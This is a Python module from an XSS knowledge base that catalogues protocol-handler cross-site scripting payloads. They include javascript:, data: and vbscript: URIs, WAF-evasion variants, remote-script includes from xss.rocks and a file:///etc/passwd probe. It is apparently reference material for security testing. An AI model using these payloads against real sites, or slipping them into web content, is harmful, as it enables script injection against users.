#!/usr/bin/env python3
"""
Project: BRS-KB (BRS XSS Knowledge Base)
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-26 UTC
Status: Refactored
Telegram: https://t.me/EasyProTech

Protocol Handler XSS Payloads
"""

from ..models import PayloadEntry


PROTOCOL_HANDLER_PAYLOADS = {
    # javascript: protocol variations
    "proto_js_1": PayloadEntry(
        payload="javascript:alert(1)",
        contexts=["url", "href"],
        severity="high",
        cvss_score=7.5,
        description="Basic javascript protocol",
        tags=["protocol", "javascript"],
        reliability="high",
    ),
    "proto_js_2": PayloadEntry(
        payload="javascript:/**/alert(1)",
        contexts=["url", "href"],
        severity="high",
        cvss_score=7.5,
        description="javascript with comment",
        tags=["protocol", "javascript", "comment"],
        waf_evasion=True,
        reliability="high",
    ),
    "proto_js_3": PayloadEntry(
        payload="javascript:alert/*comment*/(1)",
        contexts=["url", "href"],
        severity="high",
        cvss_score=7.5,
        description="javascript with inline comment",
        tags=["protocol", "javascript", "comment"],
        waf_evasion=True,
        reliability="high",
    ),
    "proto_js_4": PayloadEntry(
        payload="jAvAsCrIpT:alert(1)",
        contexts=["url", "href"],
        severity="high",
        cvss_score=7.5,
        description="javascript mixed case",
        tags=["protocol", "javascript", "case"],
        waf_evasion=True,
        reliability="high",
    ),
    "proto_js_5": PayloadEntry(
        payload="javascript\t:alert(1)",
        contexts=["url", "href"],
        severity="high",
        cvss_score=7.5,
        description="javascript with tab",
        tags=["protocol", "javascript", "whitespace"],
        waf_evasion=True,
        reliability="medium",
    ),
    "proto_js_6": PayloadEntry(
        payload="javascript\n:alert(1)",
        contexts=["url", "href"],
        severity="high",
        cvss_score=7.5,
        description="javascript with newline",
        tags=["protocol", "javascript", "whitespace"],
        waf_evasion=True,
        reliability="medium",
    ),
    "proto_js_7": PayloadEntry(
        payload="javascript\r:alert(1)",
        contexts=["url", "href"],
        severity="high",
        cvss_score=7.5,
        description="javascript with carriage return",
        tags=["protocol", "javascript", "whitespace"],
        waf_evasion=True,
        reliability="medium",
    ),
    "proto_js_8": PayloadEntry(
        payload=" javascript:alert(1)",
        contexts=["url", "href"],
        severity="high",
        cvss_score=7.5,
        description="javascript with leading space",
        tags=["protocol", "javascript", "whitespace"],
        waf_evasion=True,
        reliability="medium",
    ),
    "proto_js_9": PayloadEntry(
        payload="\x00javascript:alert(1)",
        contexts=["url", "href"],
        severity="high",
        cvss_score=7.5,
        description="javascript with null byte",
        tags=["protocol", "javascript", "null-byte"],
        waf_evasion=True,
        reliability="medium",
    ),
    # data: protocol
    "proto_data_1": PayloadEntry(
        payload="data:text/html,<script>alert(1)</script>",
        contexts=["url", "src"],
        severity="critical",
        cvss_score=8.5,
        description="data URI with HTML",
        tags=["protocol", "data", "html"],
        reliability="high",
    ),
    "proto_data_2": PayloadEntry(
        payload="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==",
        contexts=["url", "src"],
        severity="critical",
        cvss_score=8.5,
        description="data URI base64 encoded",
        tags=["protocol", "data", "base64"],
        waf_evasion=True,
        reliability="high",
    ),
    "proto_data_3": PayloadEntry(
        payload="data:text/html;charset=utf-8,<script>alert(1)</script>",
        contexts=["url", "src"],
        severity="critical",
        cvss_score=8.5,
        description="data URI with charset",
        tags=["protocol", "data", "charset"],
        reliability="high",
    ),
    "proto_data_4": PayloadEntry(
        payload="data:image/svg+xml,<svg onload=alert(1)>",
        contexts=["url", "src"],
        severity="high",
        cvss_score=7.5,
        description="data URI SVG",
        tags=["protocol", "data", "svg"],
        reliability="high",
    ),
    "proto_data_5": PayloadEntry(
        payload="data:image/svg+xml;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+",
        contexts=["url", "src"],
        severity="high",
        cvss_score=7.5,
        description="data URI SVG base64",
        tags=["protocol", "data", "svg", "base64"],
        waf_evasion=True,
        reliability="high",
    ),
    # vbscript: protocol (IE only)
    "proto_vbs_1": PayloadEntry(
        payload="vbscript:msgbox(1)",
        contexts=["url", "href"],
        severity="high",
        cvss_score=7.5,
        description="vbscript protocol (IE)",
        tags=["protocol", "vbscript", "ie"],
        browser_support=["ie"],
        reliability="low",
    ),
    "proto_vbs_2": PayloadEntry(
        payload='vbscript:execute("alert(1)")',
        contexts=["url", "href"],
        severity="critical",
        cvss_score=8.5,
        description="vbscript execute (IE)",
        tags=["protocol", "vbscript", "ie"],
        browser_support=["ie"],
        reliability="low",
    ),
    # Other protocols
    "proto_blob_1": PayloadEntry(
        payload="blob:https://evil.com/xxxx-xxxx-xxxx",
        contexts=["url", "src"],
        severity="medium",
        cvss_score=6.5,
        description="blob URL (requires pre-created blob)",
        tags=["protocol", "blob"],
        reliability="low",
    ),
    "proto_file_1": PayloadEntry(
        payload="file:///etc/passwd",
        contexts=["url", "src"],
        severity="medium",
        cvss_score=5.5,
        description="file protocol (local file)",
        tags=["protocol", "file", "local"],
        reliability="low",
    ),
    # === OWASP Protocol Payloads ===
    "owasp-protocol-resolution": PayloadEntry(
        payload="<SCRIPT SRC=//xss.rocks/.j>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Protocol resolution in script tags",
        tags=["owasp", "protocol", "relative"],
        reliability="high",
    ),
    "owasp-url-no-quotes": PayloadEntry(
        payload="<A HREF=http://www.google.com/>XSS</A>",
        contexts=["html_content"],
        severity="medium",
        cvss_score=6.0,
        description="URL without quotes",
        tags=["owasp", "url", "no-quotes"],
        reliability="high",
    ),
    "owasp-url-protocol-relative": PayloadEntry(
        payload='<A HREF="//www.google.com/">XSS</A>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=6.0,
        description="Protocol-relative URL bypass",
        tags=["owasp", "url", "protocol-relative"],
        reliability="high",
    ),
    "owasp-url-javascript-location": PayloadEntry(
        payload="<A HREF=\"javascript:document.location='http://www.google.com/'\">XSS</A>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="JavaScript location in href",
        tags=["owasp", "url", "javascript", "location"],
        reliability="high",
    ),
    "owasp-ip-dword": PayloadEntry(
        payload='<A HREF="http://3232235521/">XSS</A>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="IP address as DWORD (192.168.0.1 = 3232235521)",
        tags=["owasp", "ip", "dword", "obfuscation"],
        reliability="medium",
        waf_evasion=True,
    ),
    "owasp-ip-hex": PayloadEntry(
        payload='<A HREF="http://0xc0.0xa8.0x00.0x01/">XSS</A>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="IP address in hex notation",
        tags=["owasp", "ip", "hex", "obfuscation"],
        reliability="medium",
        waf_evasion=True,
    ),
    "owasp-ip-octal": PayloadEntry(
        payload='<A HREF="http://0300.0250.0000.0001/">XSS</A>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="IP address in octal notation",
        tags=["owasp", "ip", "octal", "obfuscation"],
        reliability="medium",
        waf_evasion=True,
    ),
    "owasp-ip-mixed": PayloadEntry(
        payload='<A HREF="http://192.168.0.0x01/">XSS</A>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Mixed IP notation (decimal + hex)",
        tags=["owasp", "ip", "mixed", "obfuscation"],
        reliability="medium",
        waf_evasion=True,
    ),
    "owasp-waf-unicode-alert": PayloadEntry(
        payload='<img src="x:gif" onerror="window[\'al\\u0065rt\'](0)"></img>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Unicode escape in function name",
        tags=["owasp", "waf_bypass", "unicode", "alert"],
        reliability="high",
        waf_evasion=True,
    ),
    "owasp-waf-svg-xlink": PayloadEntry(
        payload="<svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="SVG with xlink:href data URL",
        tags=["owasp", "waf_bypass", "svg", "xlink"],
        reliability="medium",
        waf_evasion=True,
    ),
    "owasp-waf-iframe-entities": PayloadEntry(
        payload="<iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="IFRAME with HTML entity obfuscation",
        tags=["owasp", "waf_bypass", "iframe", "entities"],
        reliability="medium",
        waf_evasion=True,
    ),
    "owasp-waf-form-href": PayloadEntry(
        payload='<form><a href="javascript:\\u0061lert(1)">X',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Form with unicode escaped href",
        tags=["owasp", "waf_bypass", "form", "unicode"],
        reliability="high",
        waf_evasion=True,
    ),
    "owasp-waf-worksinchrome": PayloadEntry(
        payload="</script><img/*%00/src=\"worksinchrome&colon;prompt(1)\"/%00*/onerror='eval(src)'>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Null bytes and comments for Chrome",
        tags=["owasp", "waf_bypass", "null", "chrome"],
        reliability="medium",
        waf_evasion=True,
        browser_support=["chrome"],
    ),
    "owasp-quote-breakout-1": PayloadEntry(
        payload='<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Quote breakout with > inside attribute",
        tags=["owasp", "quote", "breakout", "waf_bypass"],
        reliability="medium",
        waf_evasion=True,
    ),
    "owasp-quote-breakout-2": PayloadEntry(
        payload='<SCRIPT =">" SRC="httx://xss.rocks/xss.js"></SCRIPT>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Quote breakout variant 2",
        tags=["owasp", "quote", "breakout", "waf_bypass"],
        reliability="medium",
        waf_evasion=True,
    ),
    "owasp-quote-breakout-3": PayloadEntry(
        payload='<SCRIPT a="\'>\'>" SRC="httx://xss.rocks/xss.js"></SCRIPT>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Mixed quotes breakout",
        tags=["owasp", "quote", "breakout", "mixed", "waf_bypass"],
        reliability="medium",
        waf_evasion=True,
    ),
    # === PortSwigger Protocol Manipulation ===
    "ps-location-protocol": PayloadEntry(
        payload="<script>location.protocol='javascript'</script>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Assignable protocol with location",
        tags=["portswigger", "protocol", "location"],
        reliability="high",
        browser_support=["chrome", "safari"],
    ),
    "ps-anchor-protocol": PayloadEntry(
        payload='<a href="%0aalert(1)" onclick="protocol=\'javascript\'">test</a>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Assignable protocol with anchor",
        tags=["portswigger", "protocol", "anchor", "onclick"],
        reliability="high",
        browser_support=["chrome", "safari"],
    ),
    "ps-javascript-newline": PayloadEntry(
        payload='<a href="javascript://%0aalert(1)">XSS</a>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="JavaScript protocol with newline",
        tags=["portswigger", "javascript", "newline", "href"],
        reliability="high",
    ),
    "ps-base-javascript-rewrite": PayloadEntry(
        payload='<base href="javascript:/a/-alert(1)///////"><a href=../lol/safari.html>test</a>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Base tag with JavaScript protocol - Safari",
        tags=["portswigger", "base", "javascript", "safari"],
        reliability="medium",
        browser_support=["safari"],
    ),
    "ps-object-data-js": PayloadEntry(
        payload='<object data="javascript:alert(1)">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Object data with JavaScript - Firefox v140-",
        tags=["portswigger", "object", "data", "javascript"],
        reliability="medium",
        browser_support=["firefox"],
    ),
    "ps-embed-src-js": PayloadEntry(
        payload='<embed src="javascript:alert(1)">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Embed src with JavaScript - Firefox v140-",
        tags=["portswigger", "embed", "src", "javascript"],
        reliability="medium",
        browser_support=["firefox"],
    ),
    "ps-object-codebase": PayloadEntry(
        payload="<object data=# codebase=javascript:alert(document.domain)//>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Object with codebase JavaScript - Firefox",
        tags=["portswigger", "object", "codebase"],
        reliability="medium",
        browser_support=["firefox"],
    ),
}

PROTOCOL_HANDLER_PAYLOADS_TOTAL = len(PROTOCOL_HANDLER_PAYLOADS)
